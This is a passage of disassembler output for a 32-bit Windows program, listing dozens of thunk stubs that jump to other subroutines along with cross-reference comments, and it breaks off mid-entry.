; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401767	proc near		; CODE XREF: ___:0040AFF4p
		jmp	sub_4348A0
sub_401767	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40176C	proc near		; CODE XREF: sub_418E80+5Fp
		jmp	sub_419110
sub_40176C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401771	proc near		; CODE XREF: ___:0041896Cp
		jmp	sub_418590
sub_401771	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401776	proc near		; CODE XREF: ___:00416B1Bp
					; ___:00416DE3p ...
		jmp	sub_416DC0
sub_401776	endp

; ---------------------------------------------------------------------------
		jmp	loc_420EC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401780	proc near		; CODE XREF: ___:00416EBFp
		jmp	sub_417E30
sub_401780	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401785	proc near		; CODE XREF: sub_430B30+5Dp
					; sub_431B00+2Cp ...
		jmp	sub_4322D0
sub_401785	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F590

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40178F	proc near		; CODE XREF: ___:00427370p
		jmp	sub_428880
sub_40178F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401794	proc near		; CODE XREF: ___:00426757p
		jmp	sub_426560
sub_401794	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401799	proc near		; CODE XREF: ___:00416F9Ap
		jmp	sub_418360
sub_401799	endp

; ---------------------------------------------------------------------------
		jmp	loc_433200
; ---------------------------------------------------------------------------
		jmp	loc_4301A0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017A8	proc near		; CODE XREF: ___:004292B3p sub_429310j ...
		jmp	sub_4291E0
sub_4017A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017AD	proc near		; CODE XREF: ___:00416BCBp
					; ___:00416D93p ...
		jmp	sub_416D60
sub_4017AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017B2	proc near		; DATA XREF: ___:off_43F17Co
		jmp	sub_42B3F0
sub_4017B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017B7	proc near		; CODE XREF: sub_431240+D7p
		jmp	sub_432A20
sub_4017B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017BC	proc near		; CODE XREF: sub_40AF60+5j
					; ___:loc_4313CDp
		jmp	sub_432670
sub_4017BC	endp

; ---------------------------------------------------------------------------
		jmp	loc_431420

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017C6	proc near		; CODE XREF: sub_4266D0+10p
					; sub_4267D0+3Dp
		jmp	sub_4267A0
sub_4017C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017CB	proc near		; CODE XREF: sub_40AF80+5j
					; ___:loc_4313D5p ...
		jmp	sub_432690
sub_4017CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017D0	proc near		; DATA XREF: ___:off_43F000o
		jmp	sub_404CC0
sub_4017D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017D5	proc near		; CODE XREF: sub_4248E0+1Ep
					; sub_424920+A6p ...
		jmp	sub_424870
sub_4017D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017DA	proc near		; CODE XREF: ___:00416B8Bp
					; ___:0043B234j ...
		jmp	sub_417A60
sub_4017DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017DF	proc near		; CODE XREF: sub_416220+11p
					; ___:00416247p ...
		jmp	sub_4167F0
sub_4017DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017E4	proc near		; CODE XREF: sub_415A10+3p
					; ___:0041626Fp ...
		jmp	sub_4164A0
sub_4017E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4017E9	proc near		; CODE XREF: sub_415600+6Ap
					; sub_416030+32p
		jmp	sub_415F70
sub_4017E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017EE	proc near		; CODE XREF: sub_403530+DBp
					; sub_404010+3Fp ...
		jmp	sub_40A800
sub_4017EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017F3	proc near		; CODE XREF: ___:00421EAAp
		jmp	sub_422470
sub_4017F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4017F8	proc near
		jmp	sub_40B2F0
sub_4017F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4017FD	proc near		; CODE XREF: sub_4068E0+205p
		jmp	sub_41B920
sub_4017FD	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401807	proc near		; CODE XREF: ___:00427D03p
		jmp	sub_427D30
sub_401807	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40180C	proc near		; CODE XREF: ___:00425F16p
					; ___:00425F47p
		jmp	sub_4257F0
sub_40180C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401811	proc near		; CODE XREF: sub_41E760+FFp
					; sub_41E760+179p ...
		jmp	sub_421B80
sub_401811	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401816	proc near		; CODE XREF: sub_40A1F0+7p
		jmp	sub_40A210
sub_401816	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40181B	proc near		; CODE XREF: sub_40B510+76p
		jmp	sub_40B470
sub_40181B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401820	proc near		; CODE XREF: ___:00423F8Dp
					; DATA XREF: ___:off_445424o
		jmp	sub_425100
sub_401820	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401825	proc near		; CODE XREF: sub_41E760+18Ep
					; ___:0043C483j
		jmp	sub_4219F0
sub_401825	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40182A	proc near		; DATA XREF: ___:off_43F10Co
		jmp	sub_428210
sub_40182A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40182F	proc near		; CODE XREF: ___:00416EDFp
		jmp	sub_417EF0
sub_40182F	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FF10

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401839	proc near		; CODE XREF: sub_41E760+3BCp
					; sub_4226B0+3p
		jmp	sub_421D50
sub_401839	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40183E	proc near		; CODE XREF: sub_427990+90p
		jmp	sub_427C50
sub_40183E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401843	proc near		; CODE XREF: ___:0042444Dp
					; sub_424920+135p
		jmp	sub_424480
sub_401843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401848	proc near		; CODE XREF: sub_40BF20+3p
					; ___:0040BFEFp ...
		jmp	sub_40C160
sub_401848	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40184D	proc near		; CODE XREF: sub_407140+36p
					; sub_407140+72p ...
		jmp	sub_407390
sub_40184D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401852	proc near		; CODE XREF: ___:00413251p
		jmp	sub_415770
sub_401852	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401857	proc near		; CODE XREF: ___:0040BAB1p
					; ___:0040BB78p ...
		jmp	sub_412B70
sub_401857	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40185C	proc near		; CODE XREF: ___:004332DFp
					; ___:004333EFp ...
		jmp	sub_432E20
sub_40185C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401861	proc near		; DATA XREF: ___:0043359Ao
					; ___:00433700o
		jmp	sub_432E90
sub_401861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401866	proc near		; CODE XREF: sub_416460+7p
		jmp	sub_416840
sub_401866	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40186B	proc near		; CODE XREF: sub_418430+34p
		jmp	sub_404C70
sub_40186B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401870	proc near		; CODE XREF: sub_403530+7Ap
					; sub_403530+9Ep ...
		jmp	sub_409C20
sub_401870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401875	proc near		; CODE XREF: sub_420630+152p
		jmp	sub_4208A0
sub_401875	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40187A	proc near		; CODE XREF: ___:0041A328p
					; sub_41B110+3p ...
		jmp	sub_41B140
sub_40187A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B060
; ---------------------------------------------------------------------------
		jmp	loc_41C1E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401889	proc near		; CODE XREF: ___:00416B4Bp
					; ___:0043B26Cj ...
		jmp	sub_416E10
sub_401889	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40188E	proc near		; CODE XREF: sub_410030+217p
					; sub_41FE90+4Cp ...
		jmp	sub_41FE50
sub_40188E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401893	proc near		; CODE XREF: sub_42AD90+9Dp
		jmp	sub_429450
sub_401893	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401898	proc near		; CODE XREF: ___:0042D2F5p
		jmp	sub_4290B0
sub_401898	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40189D	proc near		; DATA XREF: ___:0043F184o
		jmp	sub_42B440
sub_40189D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018A2	proc near		; CODE XREF: sub_41B5B0+DDp
		jmp	sub_41AE30
sub_4018A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018A7	proc near
		jmp	sub_4341C0
sub_4018A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018AC	proc near		; CODE XREF: ___:00414295p
					; sub_414E10+1B2p
		jmp	sub_413E70
sub_4018AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018B1	proc near		; CODE XREF: sub_4120B0+1B6p
		jmp	sub_40A1F0
sub_4018B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018B6	proc near		; CODE XREF: sub_41E760+5ABp
		jmp	sub_4204D0
sub_4018B6	endp

; ---------------------------------------------------------------------------
		jmp	loc_433000

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018C0	proc near		; CODE XREF: sub_40A9F0+14p
		jmp	sub_40ACA0
sub_4018C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018C5	proc near		; CODE XREF: sub_4135E0+B4p
					; ___:00414C60p ...
		jmp	sub_415710
sub_4018C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018CA	proc near		; CODE XREF: sub_41A3B0+6Dp
					; sub_41A3B0+1B5p
		jmp	sub_41B060
sub_4018CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018CF	proc near		; CODE XREF: ___:004323CAp
		jmp	sub_431D80
sub_4018CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018D4	proc near		; CODE XREF: sub_418F90+5Fp
		jmp	sub_419130
sub_4018D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018D9	proc near		; CODE XREF: ___:00416B9Bp
					; ___:0043B226j ...
		jmp	sub_4179F0
sub_4018D9	endp

; ---------------------------------------------------------------------------
		jmp	loc_419ED0
; ---------------------------------------------------------------------------
		jmp	sub_41A1E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018E8	proc near		; CODE XREF: sub_41E760+46p
		jmp	sub_4219B0
sub_4018E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018ED	proc near		; CODE XREF: ___:0042D425p
		jmp	sub_42ACB0
sub_4018ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4018F2	proc near		; CODE XREF: sub_422230+7p
		jmp	sub_422620
sub_4018F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018F7	proc near		; CODE XREF: sub_4220B0+9p
					; sub_422510+18p
		jmp	sub_422690
sub_4018F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4018FC	proc near		; CODE XREF: sub_4222B0+8p
		jmp	sub_422670
sub_4018FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401901	proc near		; CODE XREF: sub_4134A0+43p
					; sub_4148A0+4Fp ...
		jmp	sub_415820
sub_401901	endp

; ---------------------------------------------------------------------------
		jmp	loc_431D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40190B	proc near		; CODE XREF: sub_421AD0+1Fp
		jmp	sub_421E50
sub_40190B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401910	proc near		; CODE XREF: sub_4219B0+11p
					; sub_421E50+1Fp
		jmp	sub_421F80
sub_401910	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401915	proc near		; CODE XREF: sub_40B470+6Dp
		jmp	sub_40BE70
sub_401915	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40191A	proc near		; CODE XREF: sub_409530+13p
		jmp	sub_409660
sub_40191A	endp

; ---------------------------------------------------------------------------
		jmp	loc_4378B0
; ---------------------------------------------------------------------------
		jmp	sub_41B110
; ---------------------------------------------------------------------------


loc_401929:				; DATA XREF: ___:off_43F068o
		jmp	loc_416DE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40192E	proc near		; CODE XREF: ___:00413C01p
		jmp	sub_413A80
sub_40192E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401933	proc near		; CODE XREF: ___:00413263p
					; sub_4132F0+32p
		jmp	sub_4155B0
sub_401933	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401938	proc near		; CODE XREF: ___:00416C4Bp
					; ___:0043B18Cj ...
		jmp	sub_417120
sub_401938	endp

; ---------------------------------------------------------------------------
		jmp	loc_432390
; ---------------------------------------------------------------------------
		jmp	loc_4347E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401947	proc near		; CODE XREF: sub_41C710+F1p
					; sub_41C710+270p ...
		jmp	sub_420F10
sub_401947	endp

; ---------------------------------------------------------------------------
		jmp	loc_40A4E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401951	proc near		; CODE XREF: sub_404CC0+283p
					; sub_40EE40+D2p ...
		jmp	sub_40F060
sub_401951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401956	proc near		; CODE XREF: sub_4219F0+34p
					; sub_422340+67p
		jmp	sub_421FD0
sub_401956	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40195B	proc near		; CODE XREF: sub_404CC0+BF1p
		jmp	sub_406730
sub_40195B	endp

; ---------------------------------------------------------------------------
		jmp	loc_433650
; ---------------------------------------------------------------------------


loc_401965:				; DATA XREF: sub_41FD00+39o
		jmp	loc_41FC30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40196A	proc near		; CODE XREF: ___:0041A29Ep
					; sub_41A3B0+Bp ...
		jmp	sub_41A390
sub_40196A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40196F	proc near		; CODE XREF: ___:0041AC86p
					; ___:0041AD66p
		jmp	sub_41A990
sub_40196F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401974	proc near
		jmp	sub_419320
sub_401974	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401979	proc near		; CODE XREF: sub_4119E0+2Ep
					; sub_411BE0+3p
		jmp	sub_411B20
sub_401979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40197E	proc near		; CODE XREF: sub_41E760+F5p
					; sub_41E760+16Fp ...
		jmp	sub_421AA0
sub_40197E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401983	proc near		; CODE XREF: sub_409530+4p
					; sub_4096E0+1Fp ...
		jmp	sub_4095E0
sub_401983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401988	proc near
		jmp	sub_409B10
sub_401988	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40198D	proc near		; CODE XREF: sub_41F960+20p
					; sub_42AD90+37p
		jmp	sub_41FF50
sub_40198D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401992	proc near		; CODE XREF: sub_4135E0+4Ap
					; ___:00414C0Fp ...
		jmp	sub_415500
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401997	proc near		; CODE XREF: sub_40A510+A8p
		jmp	sub_40A930
sub_401997	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40199C	proc near		; CODE XREF: sub_40CC90+41p
		jmp	sub_40CF40
sub_40199C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019A1	proc near		; CODE XREF: ___:004346F5p
					; ___:004347F5p
		jmp	sub_434450
sub_4019A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019A6	proc near		; CODE XREF: sub_4219F0+29p
		jmp	sub_421EF0
sub_4019A6	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FFE0
; ---------------------------------------------------------------------------
		jmp	loc_42FFB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019B5	proc near		; CODE XREF: sub_40A870+Dp
					; sub_40AAD0+91p
		jmp	sub_40A9F0
sub_4019B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019BA	proc near		; CODE XREF: sub_422150+23p
					; sub_422510+11p
		jmp	sub_4226B0
sub_4019BA	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AC20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019C4	proc near		; CODE XREF: sub_404010+2Cp
					; ___:0040408Fp ...
		jmp	sub_403530
sub_4019C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019C9	proc near		; CODE XREF: sub_422850+6p
		jmp	sub_4228C0
sub_4019C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019CE	proc near		; DATA XREF: ___:off_43F050o
		jmp	sub_416D30
sub_4019CE	endp

; ---------------------------------------------------------------------------
		jmp	sub_40FE40

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4019D8	proc near		; CODE XREF: sub_407460+4p
		jmp	sub_407590
sub_4019D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019DD	proc near		; CODE XREF: ___:0040B709p
					; ___:0040BB26p ...
		jmp	sub_40B600
sub_4019DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019E2	proc near		; CODE XREF: sub_410030+AF4p
					; sub_410030+E6Ap
		jmp	sub_411BE0
sub_4019E2	endp

; ---------------------------------------------------------------------------
		jmp	loc_433C30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019EC	proc near		; CODE XREF: sub_4145A0+CEp
		jmp	sub_414710
sub_4019EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019F1	proc near		; DATA XREF: ___:0043F1C8o
		jmp	sub_42CB70
sub_4019F1	endp

; ---------------------------------------------------------------------------


loc_4019F6:				; DATA XREF: ___:off_43F0D0o
		jmp	loc_41D830

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4019FB	proc near		; CODE XREF: sub_421B10+3p
		jmp	sub_422030
sub_4019FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A00	proc near		; CODE XREF: ___:00416E8Fp
		jmp	sub_40B190
sub_401A00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A05	proc near
		jmp	sub_4133B0
sub_401A05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A0A	proc near		; CODE XREF: sub_41E760+477p
		jmp	sub_4201F0
sub_401A0A	endp

; ---------------------------------------------------------------------------
		jmp	loc_421950

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A14	proc near		; DATA XREF: ___:0043F124o
		jmp	sub_428940
sub_401A14	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A19	proc near
		jmp	sub_411C10
sub_401A19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A1E	proc near		; CODE XREF: sub_4344C0+92p
		jmp	sub_431C30
sub_401A1E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4292B0
; ---------------------------------------------------------------------------
		jmp	loc_427D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A2D	proc near		; CODE XREF: sub_421EF0+32p
		jmp	sub_422340
sub_401A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A32	proc near		; CODE XREF: ___:00416BDBp
					; sub_416D30+3p ...
		jmp	sub_416D00
sub_401A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A37	proc near		; CODE XREF: ___:00423B04p
					; ___:004285E8p ...
		jmp	sub_420E00
sub_401A37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A3C	proc near		; CODE XREF: sub_422310+Ap
		jmp	sub_422720
sub_401A3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A41	proc near		; CODE XREF: ___:00412F9Fp
					; ___:00413054p ...
		jmp	sub_404690
sub_401A41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A46	proc near		; CODE XREF: sub_409530+1Ap
					; sub_409610+4p ...
		jmp	sub_4095A0
sub_401A46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A4B	proc near		; DATA XREF: ___:off_43F028o
		jmp	sub_40FE40
sub_401A4B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A50	proc near		; DATA XREF: ___:0043F0E4o
		jmp	sub_427990
sub_401A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A55	proc near		; CODE XREF: ___:00426475p
		jmp	sub_426070
sub_401A55	endp

; ---------------------------------------------------------------------------
		jmp	loc_409E30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A5F	proc near		; CODE XREF: sub_415BA0+1Ep
		jmp	sub_416650
sub_401A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A64	proc near		; CODE XREF: ___:004305E0p
					; sub_4321F0+36p ...
		jmp	sub_431630
sub_401A64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A69	proc near		; CODE XREF: sub_4138B0+3Ep
		jmp	sub_434BF0
sub_401A69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A6E	proc near		; CODE XREF: sub_414A70+3p
		jmp	sub_414AA0
sub_401A6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A73	proc near		; CODE XREF: ___:00408299p
					; ___:0040872Ap
		jmp	sub_409570
sub_401A73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A78	proc near		; DATA XREF: ___:0043F0E0o
					; ___:0043F0F0o ...
		jmp	sub_4276C0
sub_401A78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401A7D	proc near		; CODE XREF: sub_41D930+1ADp
		jmp	sub_42DB00
sub_401A7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A82	proc near		; CODE XREF: sub_420630+191p
					; sub_4228C0+3p ...
		jmp	sub_4208C0
sub_401A82	endp

; ---------------------------------------------------------------------------
		jmp	loc_4302E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A8C	proc near		; CODE XREF: sub_4226E0+5p
		jmp	sub_422850
sub_401A8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A91	proc near		; CODE XREF: ___:00416F4Ap
		jmp	sub_418200
sub_401A91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A96	proc near		; CODE XREF: sub_407270+5p
					; sub_407360+6p ...
		jmp	sub_4074B0
sub_401A96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401A9B	proc near		; CODE XREF: sub_403530+90p
					; sub_404CC0+40Cp ...
		jmp	sub_40A780
sub_401A9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AA0	proc near		; CODE XREF: sub_41D930+2FFp
					; sub_41F030+52Fp
		jmp	sub_41FE90
sub_401AA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AA5	proc near		; CODE XREF: ___:004330BAp
		jmp	sub_430B30
sub_401AA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AAA	proc near		; CODE XREF: sub_415570+1Fp
		jmp	sub_415ED0
sub_401AAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AAF	proc near		; CODE XREF: sub_403530+E5p
					; sub_409F50+Fp ...
		jmp	sub_409E80
sub_401AAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AB4	proc near		; CODE XREF: sub_432850+17p
					; sub_432850+33p
		jmp	sub_434A00
sub_401AB4	endp

; ---------------------------------------------------------------------------
		jmp	loc_434770
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO	EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_427D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AC8	proc near		; CODE XREF: sub_424F70+E5p
					; sub_424F70+120p
		jmp	sub_424E20
sub_401AC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ACD	proc near		; DATA XREF: ___:off_43F034o
		jmp	sub_4120B0
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AD2	proc near		; DATA XREF: ___:0041FC33o
		jmp	sub_41FB90
sub_401AD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AD7	proc near		; CODE XREF: sub_407140+Bp
		jmp	sub_407320
sub_401AD7	endp

; ---------------------------------------------------------------------------
		jmp	loc_433E90
; ---------------------------------------------------------------------------


loc_401AE1:				; DATA XREF: ___:off_43F020o
		jmp	loc_40B9B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AE6	proc near		; CODE XREF: sub_403F30+2Bp
					; sub_403F30+3Bp ...
		jmp	sub_403D60
sub_401AE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AEB	proc near		; CODE XREF: sub_4135E0+66p
					; sub_4135E0+CAp ...
		jmp	sub_415740
sub_401AEB	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B880

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AF5	proc near
		jmp	sub_4228F0
sub_401AF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401AFA	proc near		; CODE XREF: ___:00416C2Bp
					; ___:0043B1A8j ...
		jmp	sub_40B250
sub_401AFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401AFF	proc near		; CODE XREF: ___:00421864p
					; ___:0042189Ep
		jmp	sub_4216D0
sub_401AFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B04	proc near		; CODE XREF: sub_404C30+15p
		jmp	sub_407140
sub_401B04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B09	proc near		; DATA XREF: ___:off_43F0BCo
		jmp	sub_41A1E0
sub_401B09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B0E	proc near		; CODE XREF: ___:0041700Fp
		jmp	sub_418A00
sub_401B0E	endp

; ---------------------------------------------------------------------------


loc_401B13:				; CODE XREF: ___:00439F76j
		jmp	loc_40CBD0
; ---------------------------------------------------------------------------


loc_401B18:				; DATA XREF: ___:off_43F16Co
		jmp	loc_42B060

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B1D	proc near		; CODE XREF: sub_4170B0+28p
		jmp	sub_418990
sub_401B1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B22	proc near		; CODE XREF: ___:00432CD7p
		jmp	sub_432D10
sub_401B22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B27	proc near		; CODE XREF: sub_431240+Bp
